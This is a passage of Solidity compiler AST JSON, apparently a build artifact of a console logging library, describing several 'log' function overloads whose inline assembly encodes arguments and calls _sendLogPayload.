YulFunctionCall","src":"50779:16:22"},"nativeSrc":"50779:16:22","nodeType":"YulExpressionStatement","src":"50779:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35323,"isOffset":false,"isSlot":false,"src":"50647:2:22","valueSize":1},{"declaration":35326,"isOffset":false,"isSlot":false,"src":"50676:2:22","valueSize":1},{"declaration":35329,"isOffset":false,"isSlot":false,"src":"50705:2:22","valueSize":1},{"declaration":35332,"isOffset":false,"isSlot":false,"src":"50734:2:22","valueSize":1},{"declaration":35335,"isOffset":false,"isSlot":false,"src":"50763:2:22","valueSize":1},{"declaration":35338,"isOffset":false,"isSlot":false,"src":"50792:2:22","valueSize":1}],"id":35346,"nodeType":"InlineAssembly","src":"50611:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49608:3:22","parameters":{"id":35320,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35315,"mutability":"mutable","name":"p0","nameLocation":"49620:2:22","nodeType":"VariableDeclaration","scope":35348,"src":"49612:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35314,"name":"uint256","nodeType":"ElementaryTypeName","src":"49612:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35317,"mutability":"mutable","name":"p1","nameLocation":"49632:2:22","nodeType":"VariableDeclaration","scope":35348,"src":"49624:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35316,"name":"address","nodeType":"ElementaryTypeName","src":"49624:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35319,"mutability":"mutable","name":"p2","nameLocation":"49644:2:22","nodeType":"VariableDeclaration","scope":35348,"src":"49636:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35318,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49636:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"49611:36:22"},"returnParameters":{"id":35321,"nodeType":"ParameterList","parameters":[],"src":"49662:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35377,"nodeType":"FunctionDefinition","src":"50817:658:22","nodes":[],"body":{"id":35376,"nodeType":"Block","src":"50877:598:22","nodes":[],"statements":[{"assignments":[35358],"declarations":[{"constant":false,"id":35358,"mutability":"mutable","name":"m0","nameLocation":"50895:2:22","nodeType":"VariableDeclaration","scope":35376,"src":"50887:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35357,"name":"bytes32","nodeType":"ElementaryTypeName","src":"50887:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35359,"nodeType":"VariableDeclarationStatement","src":"50887:10:22"},{"assignments":[35361],"declarations":[{"constant":false,"id":35361,"mutability":"mutable","name":"m1","nameLocation":"50915:2:22","nodeType":"VariableDeclaration","scope":35376,"src":"50907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35360,"name":"bytes32","nodeType":"ElementaryTypeName","src":"50907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35362,"nodeType":"VariableDeclarationStatement","src":"50907:10:22"},{"assignments":[35364],"declarations":[{"constant":false,"id":35364,"mutability":"mutable","name":"m2","nameLocation":"50935:2:22","nodeType":"VariableDeclaration","scope":35376,"src":"50927:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35363,"name":"bytes32","nodeType":"ElementaryTypeName","src":"50927:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35365,"nodeType":"VariableDeclarationStatement","src":"50927:10:22"},{"assignments":[35367],"declarations":[{"constant":false,"id":35367,"mutability":"mutable","name":"m3","nameLocation":"50955:2:22","nodeType":"VariableDeclaration","scope":35376,"src":"50947:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35366,"name":"bytes32","nodeType":"ElementaryTypeName","src":"50947:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35368,"nodeType":"VariableDeclarationStatement","src":"50947:10:22"},{"AST":{"nativeSrc":"50976:311:22","nodeType":"YulBlock","src":"50976:311:22","statements":[{"nativeSrc":"50990:17:22","nodeType":"YulAssignment","src":"50990:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51002:4:22","nodeType":"YulLiteral","src":"51002:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"50996:5:22","nodeType":"YulIdentifier","src":"50996:5:22"},"nativeSrc":"50996:11:22","nodeType":"YulFunctionCall","src":"50996:11:22"},"variableNames":[{"name":"m0","nativeSrc":"50990:2:22","nodeType":"YulIdentifier","src":"50990:2:22"}]},{"nativeSrc":"51020:17:22","nodeType":"YulAssignment","src":"51020:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51032:4:22","nodeType":"YulLiteral","src":"51032:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"51026:5:22","nodeType":"YulIdentifier","src":"51026:5:22"},"nativeSrc":"51026:11:22","nodeType":"YulFunctionCall","src":"51026:11:22"},"variableNames":[{"name":"m1","nativeSrc":"51020:2:22","nodeType":"YulIdentifier","src":"51020:2:22"}]},{"nativeSrc":"51050:17:22","nodeType":"YulAssignment","src":"51050:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51062:4:22","nodeType":"YulLiteral","src":"51062:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"51056:5:22","nodeType":"YulIdentifier","src":"51056:5:22"},"nativeSrc":"51056:11:22","nodeType":"YulFunctionCall","src":"51056:11:22"},"variableNames":[{"name":"m2","nativeSrc":"51050:2:22","nodeType":"YulIdentifier","src":"51050:2:22"}]},{"nativeSrc":"51080:17:22","nodeType":"YulAssignment","src":"51080:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51092:4:22","nodeType":"YulLiteral","src":"51092:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"51086:5:22","nodeType":"YulIdentifier","src":"51086:5:22"},"nativeSrc":"51086:11:22","nodeType":"YulFunctionCall","src":"51086:11:22"},"variableNames":[{"name":"m3","nativeSrc":"51080:2:22","nodeType":"YulIdentifier","src":"51080:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51173:4:22","nodeType":"YulLiteral","src":"51173:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"51179:10:22","nodeType":"YulLiteral","src":"51179:10:22","type":"","value":"0x35085f7b"}],"functionName":{"name":"mstore","nativeSrc":"51166:6:22","nodeType":"YulIdentifier","src":"51166:6:22"},"nativeSrc":"51166:24:22","nodeType":"YulFunctionCall","src":"51166:24:22"},"nativeSrc":"51166:24:22","nodeType":"YulExpressionStatement","src":"51166:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51210:4:22","nodeType":"YulLiteral","src":"51210:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"51216:2:22","nodeType":"YulIdentifier","src":"51216:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51203:6:22","nodeType":"YulIdentifier","src":"51203:6:22"},"nativeSrc":"51203:16:22","nodeType":"YulFunctionCall","src":"51203:16:22"},"nativeSrc":"51203:16:22","nodeType":"YulExpressionStatement","src":"51203:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51239:4:22","nodeType":"YulLiteral","src":"51239:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"51245:2:22","nodeType":"YulIdentifier","src":"51245:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51232:6:22","nodeType":"YulIdentifier","src":"51232:6:22"},"nativeSrc":"51232:16:22","nodeType":"YulFunctionCall","src":"51232:16:22"},"nativeSrc":"51232:16:22","nodeType":"YulExpressionStatement","src":"51232:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51268:4:22","nodeType":"YulLiteral","src":"51268:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"51274:2:22","nodeType":"YulIdentifier","src":"51274:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51261:6:22","nodeType":"YulIdentifier","src":"51261:6:22"},"nativeSrc":"51261:16:22","nodeType":"YulFunctionCall","src":"51261:16:22"},"nativeSrc":"51261:16:22","nodeType":"YulExpressionStatement","src":"51261:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35358,"isOffset":false,"isSlot":false,"src":"50990:2:22","valueSize":1},{"declaration":35361,"isOffset":false,"isSlot":false,"src":"51020:2:22","valueSize":1},{"declaration":35364,"isOffset":false,"isSlot":false,"src":"51050:2:22","valueSize":1},{"declaration":35367,"isOffset":false,"isSlot":false,"src":"51080:2:22","valueSize":1},{"declaration":35350,"isOffset":false,"isSlot":false,"src":"51216:2:22","valueSize":1},{"declaration":35352,"isOffset":false,"isSlot":false,"src":"51245:2:22","valueSize":1},{"declaration":35354,"isOffset":false,"isSlot":false,"src":"51274:2:22","valueSize":1}],"id":35369,"nodeType":"InlineAssembly","src":"50967:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"51312:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35372,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"51318:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35370,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"51296:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51296:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35374,"nodeType":"ExpressionStatement","src":"51296:27:22"},{"AST":{"nativeSrc":"51342:127:22","nodeType":"YulBlock","src":"51342:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"51363:4:22","nodeType":"YulLiteral","src":"51363:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"51369:2:22","nodeType":"YulIdentifier","src":"51369:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51356:6:22","nodeType":"YulIdentifier","src":"51356:6:22"},"nativeSrc":"51356:16:22","nodeType":"YulFunctionCall","src":"51356:16:22"},"nativeSrc":"51356:16:22","nodeType":"YulExpressionStatement","src":"51356:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51392:4:22","nodeType":"YulLiteral","src":"51392:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"51398:2:22","nodeType":"YulIdentifier","src":"51398:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51385:6:22","nodeType":"YulIdentifier","src":"51385:6:22"},"nativeSrc":"51385:16:22","nodeType":"YulFunctionCall","src":"51385:16:22"},"nativeSrc":"51385:16:22","nodeType":"YulExpressionStatement","src":"51385:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51421:4:22","nodeType":"YulLiteral","src":"51421:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"51427:2:22","nodeType":"YulIdentifier","src":"51427:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51414:6:22","nodeType":"YulIdentifier","src":"51414:6:22"},"nativeSrc":"51414:16:22","nodeType":"YulFunctionCall","src":"51414:16:22"},"nativeSrc":"51414:16:22","nodeType":"YulExpressionStatement","src":"51414:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51450:4:22","nodeType":"YulLiteral","src":"51450:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"51456:2:22","nodeType":"YulIdentifier","src":"51456:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51443:6:22","nodeType":"YulIdentifier","src":"51443:6:22"},"nativeSrc":"51443:16:22","nodeType":"YulFunctionCall","src":"51443:16:22"},"nativeSrc":"51443:16:22","nodeType":"YulExpressionStatement","src":"51443:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35358,"isOffset":false,"isSlot":false,"src":"51369:2:22","valueSize":1},{"declaration":35361,"isOffset":false,"isSlot":false,"src":"51398:2:22","valueSize":1},{"declaration":35364,"isOffset":false,"isSlot":false,"src":"51427:2:22","valueSize":1},{"declaration":35367,"isOffset":false,"isSlot":false,"src":"51456:2:22","valueSize":1}],"id":35375,"nodeType":"InlineAssembly","src":"51333:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"50826:3:22","parameters":{"id":35355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35350,"mutability":"mutable","name":"p0","nameLocation":"50838:2:22","nodeType":"VariableDeclaration","scope":35377,"src":"50830:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35349,"name":"uint256","nodeType":"ElementaryTypeName","src":"50830:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35352,"mutability":"mutable","name":"p1","nameLocation":"50847:2:22","nodeType":"VariableDeclaration","scope":35377,"src":"50842:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35351,"name":"bool","nodeType":"ElementaryTypeName","src":"50842:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35354,"mutability":"mutable","name":"p2","nameLocation":"50859:2:22","nodeType":"VariableDeclaration","scope":35377,"src":"50851:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35353,"name":"address","nodeType":"ElementaryTypeName","src":"50851:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"50829:33:22"},"returnParameters":{"id":35356,"nodeType":"ParameterList","parameters":[],"src":"50877:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35406,"nodeType":"FunctionDefinition","src":"51481:652:22","nodes":[],"body":{"id":35405,"nodeType":"Block","src":"51538:595:22","nodes":[],"statements":[{"assignments":[35387],"declarations":[{"constant":false,"id":35387,"mutability":"mutable","name":"m0","nameLocation":"51556:2:22","nodeType":"VariableDeclaration","scope":35405,"src":"51548:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35386,"name":"bytes32","nodeType":"ElementaryTypeName","src":"51548:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35388,"nodeType":"VariableDeclarationStatement","src":"51548:10:22"},{"assignments":[35390],"declarations":[{"constant":false,"id":35390,"mutability":"mutable","name":"m1","nameLocation":"51576:2:22","nodeType":"VariableDeclaration","scope":35405,"src":"51568:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35389,"name":"bytes32","nodeType":"ElementaryTypeName","src":"51568:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35391,"nodeType":"VariableDeclarationStatement","src":"51568:10:22"},{"assignments":[35393],"declarations":[{"constant":false,"id":35393,"mutability":"mutable","name":"m2","nameLocation":"51596:2:22","nodeType":"VariableDeclaration","scope":35405,"src":"51588:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35392,"name":"bytes32","nodeType":"ElementaryTypeName","src":"51588:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35394,"nodeType":"VariableDeclarationStatement","src":"51588:10:22"},{"assignments":[35396],"declarations":[{"constant":false,"id":35396,"mutability":"mutable","name":"m3","nameLocation":"51616:2:22","nodeType":"VariableDeclaration","scope":35405,"src":"51608:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35395,"name":"bytes32","nodeType":"ElementaryTypeName","src":"51608:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35397,"nodeType":"VariableDeclarationStatement","src":"51608:10:22"},{"AST":{"nativeSrc":"51637:308:22","nodeType":"YulBlock","src":"51637:308:22","statements":[{"nativeSrc":"51651:17:22","nodeType":"YulAssignment","src":"51651:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51663:4:22","nodeType":"YulLiteral","src":"51663:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"51657:5:22","nodeType":"YulIdentifier","src":"51657:5:22"},"nativeSrc":"51657:11:22","nodeType":"YulFunctionCall","src":"51657:11:22"},"variableNames":[{"name":"m0","nativeSrc":"51651:2:22","nodeType":"YulIdentifier","src":"51651:2:22"}]},{"nativeSrc":"51681:17:22","nodeType":"YulAssignment","src":"51681:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51693:4:22","nodeType":"YulLiteral","src":"51693:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"51687:5:22","nodeType":"YulIdentifier","src":"51687:5:22"},"nativeSrc":"51687:11:22","nodeType":"YulFunctionCall","src":"51687:11:22"},"variableNames":[{"name":"m1","nativeSrc":"51681:2:22","nodeType":"YulIdentifier","src":"51681:2:22"}]},{"nativeSrc":"51711:17:22","nodeType":"YulAssignment","src":"51711:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51723:4:22","nodeType":"YulLiteral","src":"51723:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"51717:5:22","nodeType":"YulIdentifier","src":"51717:5:22"},"nativeSrc":"51717:11:22","nodeType":"YulFunctionCall","src":"51717:11:22"},"variableNames":[{"name":"m2","nativeSrc":"51711:2:22","nodeType":"YulIdentifier","src":"51711:2:22"}]},{"nativeSrc":"51741:17:22","nodeType":"YulAssignment","src":"51741:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"51753:4:22","nodeType":"YulLiteral","src":"51753:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"51747:5:22","nodeType":"YulIdentifier","src":"51747:5:22"},"nativeSrc":"51747:11:22","nodeType":"YulFunctionCall","src":"51747:11:22"},"variableNames":[{"name":"m3","nativeSrc":"51741:2:22","nodeType":"YulIdentifier","src":"51741:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51831:4:22","nodeType":"YulLiteral","src":"51831:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"51837:10:22","nodeType":"YulLiteral","src":"51837:10:22","type":"","value":"0x20718650"}],"functionName":{"name":"mstore","nativeSrc":"51824:6:22","nodeType":"YulIdentifier","src":"51824:6:22"},"nativeSrc":"51824:24:22","nodeType":"YulFunctionCall","src":"51824:24:22"},"nativeSrc":"51824:24:22","nodeType":"YulExpressionStatement","src":"51824:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51868:4:22","nodeType":"YulLiteral","src":"51868:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"51874:2:22","nodeType":"YulIdentifier","src":"51874:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51861:6:22","nodeType":"YulIdentifier","src":"51861:6:22"},"nativeSrc":"51861:16:22","nodeType":"YulFunctionCall","src":"51861:16:22"},"nativeSrc":"51861:16:22","nodeType":"YulExpressionStatement","src":"51861:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51897:4:22","nodeType":"YulLiteral","src":"51897:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"51903:2:22","nodeType":"YulIdentifier","src":"51903:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51890:6:22","nodeType":"YulIdentifier","src":"51890:6:22"},"nativeSrc":"51890:16:22","nodeType":"YulFunctionCall","src":"51890:16:22"},"nativeSrc":"51890:16:22","nodeType":"YulExpressionStatement","src":"51890:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"51926:4:22","nodeType":"YulLiteral","src":"51926:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"51932:2:22","nodeType":"YulIdentifier","src":"51932:2:22"}],"functionName":{"name":"mstore","nativeSrc":"51919:6:22","nodeType":"YulIdentifier","src":"51919:6:22"},"nativeSrc":"51919:16:22","nodeType":"YulFunctionCall","src":"51919:16:22"},"nativeSrc":"51919:16:22","nodeType":"YulExpressionStatement","src":"51919:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35387,"isOffset":false,"isSlot":false,"src":"51651:2:22","valueSize":1},{"declaration":35390,"isOffset":false,"isSlot":false,"src":"51681:2:22","valueSize":1},{"declaration":35393,"isOffset":false,"isSlot":false,"src":"51711:2:22","valueSize":1},{"declaration":35396,"isOffset":false,"isSlot":false,"src":"51741:2:22","valueSize":1},{"declaration":35379,"isOffset":false,"isSlot":false,"src":"51874:2:22","valueSize":1},{"declaration":35381,"isOffset":false,"isSlot":false,"src":"51903:2:22","valueSize":1},{"declaration":35383,"isOffset":false,"isSlot":false,"src":"51932:2:22","valueSize":1}],"id":35398,"nodeType":"InlineAssembly","src":"51628:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35400,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"51970:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35401,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"51976:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35399,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"51954:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35402,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51954:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35403,"nodeType":"ExpressionStatement","src":"51954:27:22"},{"AST":{"nativeSrc":"52000:127:22","nodeType":"YulBlock","src":"52000:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"52021:4:22","nodeType":"YulLiteral","src":"52021:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"52027:2:22","nodeType":"YulIdentifier","src":"52027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52014:6:22","nodeType":"YulIdentifier","src":"52014:6:22"},"nativeSrc":"52014:16:22","nodeType":"YulFunctionCall","src":"52014:16:22"},"nativeSrc":"52014:16:22","nodeType":"YulExpressionStatement","src":"52014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52050:4:22","nodeType":"YulLiteral","src":"52050:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"52056:2:22","nodeType":"YulIdentifier","src":"52056:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52043:6:22","nodeType":"YulIdentifier","src":"52043:6:22"},"nativeSrc":"52043:16:22","nodeType":"YulFunctionCall","src":"52043:16:22"},"nativeSrc":"52043:16:22","nodeType":"YulExpressionStatement","src":"52043:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52079:4:22","nodeType":"YulLiteral","src":"52079:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"52085:2:22","nodeType":"YulIdentifier","src":"52085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52072:6:22","nodeType":"YulIdentifier","src":"52072:6:22"},"nativeSrc":"52072:16:22","nodeType":"YulFunctionCall","src":"52072:16:22"},"nativeSrc":"52072:16:22","nodeType":"YulExpressionStatement","src":"52072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"52108:4:22","nodeType":"YulLiteral","src":"52108:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"52114:2:22","nodeType":"YulIdentifier","src":"52114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"52101:6:22","nodeType":"YulIdentifier","src":"52101:6:22"},"nativeSrc":"52101:16:22","nodeType":"YulFunctionCall","src":"52101:16:22"},"nativeSrc":"52101:16:22","nodeType":"YulExpressionStatement","src":"52101:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35387,"isOffset":false,"isSlot":false,"src":"52027:2:22","valueSize":1},{"declaration":35390,"isOffset":false,"isSlot":false,"src":"52056:2:22","valueSize":1},{"declaration":35393,"isOffset":false,"isSlot":false,"src":"52085:2:22","valueSize":1},{"declaration":35396,"isOffset":false,"isSlot":false,"src":"52114:2:22","valueSize":1}],"id":35404,"nodeType":"InlineAssembly","src":"51991:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51490:3:22","parameters":{"id":35384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35379,"mutability":"mutable","name":"p0","nameLocation":"51502:2:22","nodeType":"VariableDeclaration","scope":35406,"src":"51494:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35378,"name":"uint256","nodeType":"ElementaryTypeName","src":"51494:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35381,"mutability":"mutable","name":"p1","nameLocation":"51511:2:22","nodeType":"VariableDeclaration","scope":35406,"src":"51506:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35380,"name":"bool","nodeType":"ElementaryTypeName","src":"51506:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35383,"mutability":"mutable","name":"p2","nameLocation":"51520:2:22","nodeType":"VariableDeclaration","scope":35406,"src":"51515:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35382,"name":"bool","nodeType":"ElementaryTypeName","src":"51515:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"51493:30:22"},"returnParameters":{"id":35385,"nodeType":"ParameterList","parameters":[],"src":"51538:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35435,"nodeType":"FunctionDefinition","src":"52139:658:22","nodes":[],"body":{"id":35434,"nodeType":"Block","src":"52199:598:22","nodes":[],"statements":[{"assignments":[35416],"declarations":[{"constant":false,"id":35416,"mutability":"mutable","name":"m0","nameLocation":"52217:2:22","nodeType":"VariableDeclaration","scope":35434,"src":"52209:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35415,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52209:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35417,"nodeType":"VariableDeclarationStatement","src":"52209:10:22"},{"assignments":[35419],"declarations":[{"constant":false,"id":35419,"mutability":"mutable","name":"m1","nameLocation":"52237:2:22","nodeType":"VariableDeclaration","scope":35434,"src":"52229:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35418,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52229:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35420,"nodeType":"VariableDeclarationStatement","src":"52229:10:22"},{"assignments":[35422],"declarations":[{"constant":false,"id":35422,"mutability":"mutable","name":"m2","nameLocation":"52257:2:22","nodeType":"VariableDeclaration","scope":35434,"src":"52249:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35421,"name":"bytes32","nodeType":"ElementaryTypeName","src":"52249:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}